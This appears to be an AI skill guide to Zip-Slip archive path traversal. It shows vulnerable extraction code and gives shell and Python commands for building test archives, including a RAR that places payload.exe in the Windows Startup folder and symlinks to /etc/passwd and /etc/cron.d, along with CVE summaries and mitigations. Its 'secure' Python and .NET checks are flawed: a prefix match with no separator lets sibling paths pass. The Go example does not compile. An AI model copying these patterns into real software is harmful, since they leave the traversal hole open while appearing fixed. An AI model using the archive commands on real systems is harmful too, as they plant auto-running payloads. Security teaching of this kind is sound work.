Archive Extraction Path Traversal Security
A comprehensive skill for understanding, detecting, and mitigating archive extraction path traversal vulnerabilities (commonly called "Zip-Slip").
What This Skill Does
- Detect vulnerable archive extraction code patterns
- Create PoC archives for security testing
- Analyze archive entries for suspicious paths
- Implement secure extraction patterns
- Understand real-world exploitation cases
Core Concepts
The Vulnerability
Archive formats (ZIP, RAR, TAR, 7-ZIP) allow each entry to carry its own internal path. When extraction utilities blindly trust these paths, crafted filenames containing .. or absolute paths can write files outside the intended directory.
Attack flow:
- Attacker creates archive with malicious entry paths (
../evil.exeorC:\Windows\payload.exe) - Victim extracts with vulnerable tool
- File writes to attacker-controlled location
- If location is auto-run (Startup folder, cron), achieves RCE
Common Vulnerable Patterns
.NET Path.Combine + ZipArchive
// VULNERABLE - don't do this
using (var zip = ZipFile.OpenRead(zipPath))
{
foreach (var entry in zip.Entries)
{
var dest = Path.Combine(@"C:\samples\queue\", entry.FullName);
entry.ExtractToFile(dest); // Path traversal if entry.FullName contains ..\ or is absolute
}
}
Why it fails:
Path.Combinediscards the left component if the right is absolute- No path canonicalization before write
..\sequences traverse outside destination
Go archiver.Unarchive()
// VULNERABLE - archiver <= 3.5.1
archiver.Unarchive("exploit.zip", "/tmp/safe")
// exploit.zip holds ../../../../home/user/.ssh/authorized_keys
Python zipfile
# VULNERABLE - no path validation
import zipfile
with zipfile.ZipFile('archive.zip', 'r') as zf:
zf.extractall('/tmp/dest') # Can extract outside if entries have ../
Creating Test Archives
Python: Create ZIP with Path Traversal
Use scripts/create_traversal_zip.py to generate test archives:
# Create ZIP with ../ traversal
python scripts/create_traversal_zip.py \
--output test_traversal.zip \
--entry "../evil/payload.txt" \
--content "malicious content"
# Create ZIP with absolute path
python scripts/create_traversal_zip.py \
--output test_absolute.zip \
--entry "C:\\Windows\\System32\\evil.dll" \
--content "payload"
# Create ZIP with symlink (Unix)
python scripts/create_traversal_zip.py \
--output test_symlink.zip \
--symlink "/etc/passwd" \
--linkname "evil_link"
Bash: Create RAR with Path Traversal
# Requires rar >= 6.x
mkdir -p "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
cp payload.exe "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
rar a -ep evil.rar evil/*
The -ep flag preserves exact paths (doesn't prune leading ./).
Bash: Create ZIP with Symlink
mkdir -p out
ln -s /etc/cron.d evil
zip -y exploit.zip evil # -y preserves symlinks
Detection & Analysis
Analyze Archive Entries
Use scripts/analyze_archive.py to scan for suspicious entries:
# Check ZIP file for traversal patterns
python scripts/analyze_archive.py --file suspicious.zip
# Check all archives in directory
python scripts/analyze_archive.py --directory ./downloads/
# Verbose output with line numbers
python scripts/analyze_archive.py --file archive.zip --verbose
What it detects:
../or..\\sequences- Absolute paths (
/,C:,\\\\) - Symlink entries pointing outside destination
- Null bytes or other obfuscation
Manual Detection Checklist
When reviewing archive extraction code, check for:
- Path canonicalization - Does code call
realpath(),PathCanonicalize(), or equivalent before write? - Destination validation - After canonicalization, does the path still start with the intended destination?
- Symlink handling - Are symlinks extracted safely or blocked?
- Absolute path rejection - Are absolute paths in entries rejected?
- Sandbox extraction - Is extraction done in a disposable/sandboxed directory?
Secure Extraction Patterns
Python: Safe ZIP Extraction
import zipfile
import os
from pathlib import Path
def safe_extract(zip_path, dest_dir):
dest_dir = Path(dest_dir).resolve()
with zipfile.ZipFile(zip_path, 'r') as zf:
for entry in zf.infolist():
# Check for path traversal
target_path = (dest_dir / entry.filename).resolve()
# Reject if outside destination
if not str(target_path).startswith(str(dest_dir)):
raise ValueError(f"Unsafe path: {entry.filename}")
# Reject symlinks
if entry.external_attr >> 16 & 0xA000:
raise ValueError(f"Symlink not allowed: {entry.filename}")
zf.extract(entry, dest_dir)
Go: Safe Extraction Pattern
import (
"path/filepath"
"os"
)
func safeExtractEntry(destDir, entryName string) error {
// Canonicalize destination
destDir, err := filepath.Abs(destDir)
if err != nil {
return err
}
// Join and canonicalize
targetPath := filepath.Join(destDir, entryName)
targetPath, err = filepath.Abs(targetPath)
if err != nil {
return err
}
// Verify still under destination
if !strings.HasPrefix(targetPath, destDir+string(os.PathSeparator)) {
return fmt.Errorf("path escapes destination: %s", entryName)
}
// Safe to extract
return extractToFile(targetPath, entry)
}
.NET: Safe Extraction Pattern
using System.IO;
using System.IO.Compression;
public static void SafeExtract(string zipPath, string destDir)
{
var dest = Path.GetFullPath(destDir);
using (var zip = ZipFile.OpenRead(zipPath))
{
foreach (var entry in zip.Entries)
{
var target = Path.GetFullPath(Path.Combine(dest, entry.FullName));
// Reject if outside destination
if (!target.StartsWith(dest, StringComparison.OrdinalIgnoreCase))
{
throw new SecurityException($"Path traversal detected: {entry.FullName}");
}
entry.ExtractToFile(target, true);
}
}
}
Real-World Cases
CVE-2025-8088: WinRAR ≤ 7.12
Impact: RCE via Startup folder
WinRAR failed to validate filenames during extraction. A malicious RAR with entry:
..\..\..\Users\victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.exe
Would extract to the Startup folder, executing on next login.
Exploitation in the wild: RomCom (Storm-0978/UNC2596) used this for spear-phishing campaigns.
Fix: Update to WinRAR 7.13+
CVE-2025-11001: 7-Zip Symlink Traversal
Impact: RCE via cron/service locations
7-Zip 21.02–24.09 dereferenced symlinks during extraction, allowing escape from destination directory.
Fix: Update to 7-Zip 25.00+
CVE-2025-3445: Go mholt/archiver
Impact: Arbitrary file write
archiver.Unarchive() followed ../ and symlinked entries.
Fix: Switch to mholt/archives ≥ 0.1.0 or implement canonical-path checks.
Mitigation Strategies
1. Update Extractors
| Tool | Vulnerable | Fixed In |
|---|---|---|
| WinRAR | ≤ 7.12 | 7.13+ |
| 7-Zip | 21.02–24.09 | 25.00+ |
| Go archiver | ≤ 3.5.1 | Use mholt/archives ≥ 0.1.0 |
2. Safe Extraction Options
- 7-Zip: Use
-aoa(always overwrite) with path validation - bsdtar: Use
--safe --xattrs --no-same-owner - Unzip: Use
-owith pre-validation
3. Sandboxing
- Unix: Extract in chroot/namespace, drop privileges
- Windows: Use AppContainer or sandbox
- General: Extract to disposable directory, verify paths, then move
4. Code Review Checklist
- Path canonicalization before write
- Destination validation after canonicalization
- Symlink rejection or safe handling
- Absolute path rejection
- No trust of user-controlled archive entries